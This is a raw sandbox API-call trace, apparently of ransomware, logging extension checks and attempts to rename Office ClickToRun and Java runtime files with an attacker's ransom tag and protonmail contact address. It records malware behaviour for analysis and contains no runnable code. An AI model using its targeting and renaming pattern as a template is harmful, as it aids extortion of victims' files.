[0243.270] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0243.270] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0243.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1134 [0243.271] GetFileSizeEx (in: hFile=0x1134, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=2118360) returned 1 [0243.271] CloseHandle (hObject=0x1134) returned 1 [0243.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0243.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0243.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0243.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0243.271] lstrlenW (lpString=".doc") returned 4 [0243.271] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.271] lstrlenW (lpString=".docx") returned 5 [0243.271] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0243.271] lstrlenW (lpString=".pdf") returned 4 [0243.271] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.271] lstrlenW (lpString=".xls") returned 4 [0243.271] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.272] lstrlenW (lpString=".xlsx") returned 5 [0243.272] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0243.272] lstrlenW (lpString=".ppt") returned 4 [0243.272] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0243.272] lstrlenW (lpString=".zip") returned 4 [0243.272] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.272] lstrlenW (lpString=".rar") returned 4 [0243.272] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.272] lstrlenW (lpString=".bz2") returned 4 [0243.272] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.272] lstrlenW (lpString=".7z") returned 3 [0243.272] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0243.272] lstrlenW (lpString=".dbf") returned 4 [0243.272] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0243.272] lstrlenW (lpString=".1cd") returned 4 [0243.272] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0243.272] lstrlenW (lpString=".jpg") returned 4 [0243.272] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0243.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0243.272] lstrlenW (lpString=".doc") returned 4 [0243.273] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.273] lstrlenW (lpString=".docx") returned 5 [0243.273] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0243.273] lstrlenW (lpString=".pdf") returned 4 [0243.273] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.273] lstrlenW (lpString=".xls") returned 4 [0243.273] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.273] lstrlenW (lpString=".xlsx") returned 5 [0243.273] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0243.273] lstrlenW (lpString=".ppt") returned 4 [0243.273] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0243.273] lstrlenW (lpString=".zip") returned 4 [0243.273] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.273] lstrlenW (lpString=".rar") returned 4 [0243.273] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.273] lstrlenW (lpString=".bz2") returned 4 [0243.273] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.273] lstrlenW (lpString=".7z") returned 3 [0243.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0243.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0243.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0243.276] lstrlenW (lpString=".doc") returned 4 [0243.276] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0243.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0243.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0243.276] lstrlenW (lpString=".doc") returned 4 [0243.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0243.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0243.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0243.284] lstrlenW (lpString=".doc") returned 4 [0243.284] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0243.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0243.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0243.284] lstrlenW (lpString=".doc") returned 4 [0243.284] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0243.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0243.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0243.285] lstrlenW (lpString=".doc") returned 4 [0243.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0243.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0243.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0243.285] lstrlenW (lpString=".doc") returned 4 [0243.799] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0243.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0243.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0243.799] lstrlenW (lpString=".doc") returned 4 [0245.039] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.040] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.040] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.040] CloseHandle (hObject=0x1198) returned 1 [0245.040] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0245.040] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0245.040] lstrlenW (lpString=".doc") returned 4 [0245.041] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.041] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.041] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.042] CloseHandle (hObject=0x1198) returned 1 [0245.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0245.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0245.042] lstrlenW (lpString=".doc") returned 4 [0245.043] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.043] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.043] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.043] CloseHandle (hObject=0x1198) returned 1 [0245.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0245.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0245.044] lstrlenW (lpString=".doc") returned 4 [0245.044] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.044] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.044] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.045] CloseHandle (hObject=0x1198) returned 1 [0245.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0245.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0245.045] lstrlenW (lpString=".doc") returned 4 [0245.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0245.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0245.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0245.046] lstrlenW (lpString=".doc") returned 4 [0245.046] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.047] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.047] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.047] CloseHandle (hObject=0x1198) returned 1 [0245.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0245.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0245.047] lstrlenW (lpString=".doc") returned 4 [0245.048] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.048] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.048] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.048] CloseHandle (hObject=0x1198) returned 1 [0245.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0245.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0245.049] lstrlenW (lpString=".doc") returned 4 [0245.050] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.050] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.050] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.050] CloseHandle (hObject=0x1198) returned 1 [0245.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0245.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0245.050] lstrlenW (lpString=".doc") returned 4 [0245.052] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.052] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.052] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.053] CloseHandle (hObject=0x1198) returned 1 [0245.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0245.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0245.053] lstrlenW (lpString=".doc") returned 4 [0245.054] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.054] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.054] CloseHandle (hObject=0x1198) returned 1 [0245.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0245.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0245.055] lstrlenW (lpString=".doc") returned 4 [0245.055] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.055] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.055] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.056] CloseHandle (hObject=0x1198) returned 1 [0245.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0245.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0245.056] lstrlenW (lpString=".doc") returned 4 [0245.057] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.057] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.057] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.057] CloseHandle (hObject=0x1198) returned 1 [0245.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0245.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0245.057] lstrlenW (lpString=".doc") returned 4 [0245.058] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.058] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.058] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.058] CloseHandle (hObject=0x1198) returned 1 [0245.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0245.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0245.059] lstrlenW (lpString=".doc") returned 4 [0245.684] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.684] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0245.684] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.253] CloseHandle (hObject=0x11cc) returned 1 [0246.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0246.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0246.253] lstrlenW (lpString=".doc") returned 4 [0246.990] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0246.990] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0246.990] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.990] CloseHandle (hObject=0x11ec) returned 1 [0246.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0246.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0246.991] lstrlenW (lpString=".doc") returned 4 [0247.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0247.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 